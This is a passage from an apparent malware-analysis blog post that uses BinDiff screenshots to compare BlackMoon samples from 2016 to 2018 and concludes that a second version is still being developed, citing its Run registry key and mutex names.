https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p> Probably, in spite of the fact that the code doesn't change a lot and there are a lot of matching functions, <strong>a code refactorization was done from version 1 to the first samples of version 2</strong> (around 2016-05).</p><p>3.3.5.&nbsp;2016-05-05 -&gt; 2018-06-18 Differences:</p><p><br>In this case, in addition to the similarity between functions pairs, lot of the matching functions are ubicated in the same offset into the unpacked sample:<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png" width="400" height="306" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:306,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSNyeR6y7TgAqPQgt_sRg5FVOlz6G5saGPb-KmmqJQJtNHXwTaAS-N4pH5XSl-qcbxMKmooYOGmTzX0fQz0padwwbjcHEbIOqa3T3aqW7SnFPuJ_6AKoH8ftCn7FGk9sfjta04bJu_X4Y/s400/bindiff4_2016_05_05____2018_06_18.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br>This makes us to think both binaries are quite similiar, in spite of the fact that we find minimal changes like in this function:<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png" width="400" height="266" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:266,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKmqo8ZqO9rU-kuf7P0f-zXJLhURA06Qt72cQ6NhWUzHpgNTAx3FVph-LCd5tDT0_3sH4EnTiGqb-m7UMTvpPYtpDmtP3eNF7Pnxt15AlC0lpPjbjZSlLvuojJfd_Gq78OzNVM-bmHcGI/s400/bindiff5_2016_05_05____2018_06_18.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br>However, there are other functions with more important changes that make us to think that there have been at least a minimal development between both samples (manual modifications on the code: improvements or fixes, not only recompilation + repacking):<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png" width="400" height="319" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:319,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i2F1HyKP5xGc7BqXbD0pNrif1m_ImHwwuuUCSeZ01QtZhaoMjCbZ7264encPqloU-EGPmjMTnxoMmCumQ7k5xuUYIWNw8AbIHP-wWutc08LmVJpHH5dIryCfEEI0AdIxsXNXpy-ely0/s400/bindiff6_2016_05_05____2018_06_18.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br>3.3.5.&nbsp;2018-06-18&nbsp;-&gt;&nbsp;2018-11-01&nbsp;Differences:<br><br>Again, lot of the matching functions ubicated in the same offset, and minimal changes between paired functions. And again, some parts of the code with more important changes that suggest a minimal development by the authors between the first and the second sample:<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png" width="400" height="286" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:286,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBRLhScg5v0MWq_J8el2wlJvUH0xeOdfqA4x6szMgeRrqdEuMPbe3UxxMjDfqFSkA8tzcrnZeN1GJ-ygNn6B-WQ9N2IQpYGe-6Di8QAY8al3V80zsNxqcp-3_nsgUgVg-cBCaDt3I-FWY/s400/bindiff7_2018_06_18____2018_11_01.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h3>4. Conclusions</h3><p> From my point of view, there are <strong>two main versions</strong> of BlackMoon family.<br><br>Samples from the first version date first half-year of 2016.<br><br><strong>Around May-2016, a new version was started</strong>. In the sample that dates 2016-05-05 we can appreciate a <strong>code refactorization and more important changes in the code</strong>. In addition, we can find changes in the behavior, such as the <strong>non-random subkey under the \Run registry key, named 000C29FC2AB3, and the non-random mutex created by the malware with name M_Test</strong>.<br><br>There are minimal changes between the sample that dates 2018-06-18 and the samples that dates 2016-05-05, and again minimal changes between the samples that dates 2016-11-01 and the sample that dates 2018-06-18. However, there are <strong>enough changes between these&nbsp;version 2's&nbsp;samples to appreciate&nbsp;that&nbsp;a development was done by the authors,</strong>&nbsp;there must be modifications of the source code between them (not only recompilation + repacking).<br><br><strong>My conclussion is, there is a version of the BlackMoon that is under development</strong>. We can find quite recent samples (based on the VirusTotal first seen date) of this version under development. I can't say totally sure if the code of that recent samples were modified and compiled in 2018 or previously (in spite of the fact that I think the code was recently&nbsp;modified and it is currently evolving, maybe that samples were only repacked or their bytes lightly modified, or maybe VirusTotal didn't see these samples before).<br><br>In addition to the larger changes from the first version to the second version, we can appreciate an evolution of the code of the second version: from the 